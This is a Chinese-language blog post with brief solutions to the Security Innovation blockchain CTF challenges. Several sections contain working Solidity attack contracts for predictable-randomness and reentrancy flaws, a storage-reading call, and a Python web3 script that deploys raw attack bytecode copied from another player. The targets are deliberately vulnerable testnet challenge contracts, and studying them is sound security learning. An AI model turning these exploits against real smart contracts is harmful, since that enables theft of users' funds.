Fork me on GitHub
pikachu's Blog

Security Innovation

前言

  • 双十一哈皮🐶
  • https://blockchain-ctf.securityinnovation.com/#/
  • 做了一遍,感觉这个网站上面的题目可能更贴近实际一些,新手小白刷完 https://ethernaut.openzeppelin.com/ 之后,可以选择性来做这个网站的题目
  • 难度还是有的,还有很多小 trick ,目前上面是 13 道题目
  • 看了《数码宝贝:最后的进化》,爷青结,然后发现好久没做题了,熟悉一下做题,大佬勿喷,不是 WP ,随便写一下
  • 很多是参考了网上的 wp 的内容 懒癌患者 :)

Donation

  • 直接调用 withdrawDonationsFromTheSuckersWhoFellForIt 函数即可

Lock Box

  • 考点是 EVMstorage 存储的读取
1
await web3.eth.getStorageAt(ContractAddress, "1", function(x,y){console.info(y);})

Piggy Bank

  • 考点是继承,重写的 collectFunds 函数实际上覆盖了 PiggyBank 中的同名函数
  • 直接调用 collectFunds(piggyBalance) 即可

SI Token Sale

  • 溢出漏洞 balances[msg.sender] += _value – feeAmount
  • 只要传入一个小于 feeAmount_value ,即可让我们的 balances 下溢,比如发送 1 gas,然后即可调用 refundTokens 函数将合约的余额清空,因为这里是将 _value2 得到提取的余额,所以我们将合约的 etherCollection2 作为 _value 即可

Secure Bank

  • MembersBank 合约跟 SecureBank 合约的 withdraw 函数的参数类型不同,一个的 _valueuint8,另一个却是 uint256,这样这两个函数的签名就不相同了,在合约里也就是两个不同的函数,不过它们使用 super.withdraw 最终都会调用 SimpleBankwithdraw 函数
  • MembersBank 中仅需要是注册用户即可,所以这题的流程就是先调用 register 函数注册一下,然后使用 etherscan 在挑战合约的创建交易里查看一下合约的创建者,因为合约的 ether 都存在了它的账户上,然后我们直接使用这个地址来调用 MembersBank 中的 withdraw 函数即可,也就是找到参数类型为 uint256 的函数

Lottery

  • 随机数预测
1
2
3
4
5
6
7
8
9
10
11
12
13
contract attack {
address instance_address = your challenge address;
Lottery target = Lottery(your challenge address);

function pwn() payable{
bytes32 entropy = block.blockhash(block.number);
bytes32 entropy2 = keccak256(this);
uint256 seeds = uint256(entropy^entropy2);

target.play.value(msg.value)(seeds);
}
function () payable{}
}

Heads or Tails

  • 随机数漏洞
  • 每次猜对可以获得赌注的 1.5 倍,因为每次下注只能为 0.1 ether,所以一次的收益为 0.05 ether,要将合约的 ether 清空需要 20 次,那么我们直接在合约中循环调用 20 次即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
contract attack {
address instance_address = your challenge address;
HeadsOrTails target = HeadsOrTails(your challenge address);

function pwn() payable {
bytes32 entropy = block.blockhash(block.number-1);
bytes1 coinFlip = entropy[0] & 1;
for(int i=0;i<20;i++){
if (coinFlip == 1){
target.play.value(100000000000000000)(true);
} else {
target.play.value(100000000000000000)(false);
}
}
}

function () payable {}
}

Record Label

  • 调用 withdrawFundsAndPayRoyalties 函数时会将对应的 _withdrawAmount 全部发送至 Royalties 合约,而 Royalties 会将其中的 80% 发送给创建者,剩下的 20% 发回去,接着 withdrawFundsAndPayRoyalties 中又会将这 20% 发送给我们
  • 所以我们直接将 _withdrawAmount 设为 1 ether 来调用 withdrawFundsAndPayRoyalties 函数即可

Trust Fund

  • 重入漏洞
1
2
3
4
5
6
7
8
9
10
11
contract attack {
address instance_address = your challenge address;
TrustFund target = TrustFund(your challenge address);

function pwn(){
target.withdraw();
}
function() payable {
target.withdraw();
}
}

Slot Machine

  • selfdestruct 不会触发 fallback payable 函数

Rainy Day Fund

  • 这个题目也挺有意思,考点是 create 的计算方式,提前向可预测的地址转账
  • 合约账户部署合约,nonce1 开始计算
  • 外部账户部署合约,nonce0 开始计算

Raffle

  • blockhash 这个函数,它可以获取给定的区块号的 hash 值,但只支持最近的 256 个区块,不包含当前区块,对于 256 个区块之前的函数将返回 0
  • 触发 fallback 函数后,若 fallback 函数中又调用了自身函数,那么此时,msg.sender 变成了自身
  • 所以先调用 buyTicket ,然后 ctf_challenge_add_authorized_sender 认证题目合约地址(这是因为接下来会触发 fallback 函数修改了 msg.sender),接着等待 256 个区块后触发 fallback 函数中 msg.value=0 这条分支调用 closeRaffle 函数,最后调用 collectReward 即可

Scratchcard

  • 这道题我做的很简单,简单分析了一下题目的逻辑,大致得到必须得是第三方合约和其交互,并且只能在构造函数中完成功能逻辑,所以我就去链上找记录去了2333,成功找到一个别人做过的合约地址 0xD38308cb90F17a5aB1B4DD805f69Eb5798536Eea,完美,然后查看其内部交易(因为是第三方合约与题目进行交互,所以是内部交易),点开交易即可看到 Input Data
1
0x60806040526040516020806102c08339810180604052810190808051906020019092919050505060006402540be4006305f5e1004281151561003d57fe5b0602600081905550600190505b601981111515610113578173ffffffffffffffffffffffffffffffffffffffff1660005460405180807f706c617928290000000000000000000000000000000000000000000000000000815250600601905060405180910390207c01000000000000000000000000000000000000000000000000000000009004906040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160006040518083038185885af1935050505050808060010191505061004a565b8173ffffffffffffffffffffffffffffffffffffffff1660405180807f636f6c6c6563744d6567614a61636b706f742875696e74323536290000000000815250601b01905060405180910390207c010000000000000000000000000000000000000000000000000000000090046730927f74c9de00006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af19250505050505060d2806101ee6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a035b1fe14604b578063fc4333cd146073575b005b348015605657600080fd5b50605d6087565b6040518082815260200191505060405180910390f35b348015607e57600080fd5b506085608d565b005b60005481565b3373ffffffffffffffffffffffffffffffffffffffff16ff00a165627a7a72305820657390e5500a8446cf4b6fedd6a0ea0a1c3824339e44080120130ef94540ff5d0029000000000000000000000000428c0e1d593d7b85253f2dcf48bfb7626d7ce7e2
  • 然后我把 Input Data 中换成我自己的题目合约地址就行了(在字节码的最后)
  • 然后按照 create 计算地址方法,计算出我自己外部账户部署此攻击合约的地址 0xf297e7d46bdc54cdfa1cfda71e7ff0368f416705, 提前进行 ctf_challenge_add_authorized_sender 认证
1
2
3
4
5
6
7
8
9
10
import rlp
from ethereum import utils
address = 0x88D3052D12527F1FbE3a6E1444EA72c4DdB396c2
nonce = 413
rlp_res = rlp.encode([address,nonce])
print(rlp_res)
sha3_res = utils.mk_contract_address(address,nonce)
print(sha3_res)
sha3_res_de = utils.decode_addr(sha3_res)
print("contract_address: " + sha3_res_de)
  • 最后将攻击合约部署即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from web3 import Web3, HTTPProvider

w3 = Web3(Web3.HTTPProvider('https://ropsten.infura.io/v3/xxxxxx'))

contract_address = "0x428c0e1d593d7b85253f2dcf48bfb7626d7ce7e2"
private = "xxx"
public = "0x88D3052D12527F1FbE3a6E1444EA72c4DdB396c2"

data = '0x60806040526040516020806102c08339810180604052810190808051906020019092919050505060006402540be4006305f5e1004281151561003d57fe5b0602600081905550600190505b601981111515610113578173ffffffffffffffffffffffffffffffffffffffff1660005460405180807f706c617928290000000000000000000000000000000000000000000000000000815250600601905060405180910390207c01000000000000000000000000000000000000000000000000000000009004906040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160006040518083038185885af1935050505050808060010191505061004a565b8173ffffffffffffffffffffffffffffffffffffffff1660405180807f636f6c6c6563744d6567614a61636b706f742875696e74323536290000000000815250601b01905060405180910390207c010000000000000000000000000000000000000000000000000000000090046730927f74c9de00006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af19250505050505060d2806101ee6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a035b1fe14604b578063fc4333cd146073575b005b348015605657600080fd5b50605d6087565b6040518082815260200191505060405180910390f35b348015607e57600080fd5b506085608d565b005b60005481565b3373ffffffffffffffffffffffffffffffffffffffff16ff00a165627a7a72305820657390e5500a8446cf4b6fedd6a0ea0a1c3824339e44080120130ef94540ff5d0029000000000000000000000000'
data += '428c0e1d593d7b85253f2dcf48bfb7626d7ce7e2'

def do_callme(public):
txn = {
'from': Web3.toChecksumAddress(public),
# 'to': Web3.toChecksumAddress(contract_address),
'gasPrice': w3.eth.gasPrice,
'gas': 3000000,
'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
'value': Web3.toWei(1, 'ether'),
'data': data,
}
signed_txn = w3.eth.account.signTransaction(txn, private)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
print("txn_hash=", txn_hash)
return txn_receipt

print(do_callme(public))
  • 完美,偷懒不愧是我,这里就不具体分析题目了,有兴趣的自行分析

---------------- The End ----------------
谢谢大爷~

Author:pikachu
Link:https://hitcxy.com/2020/securityinnovation/
Contact:hitcxy.cn@gmail.com
本文基于 知识共享署名-相同方式共享 4.0 国际许可协议发布
转载请注明出处,谢谢!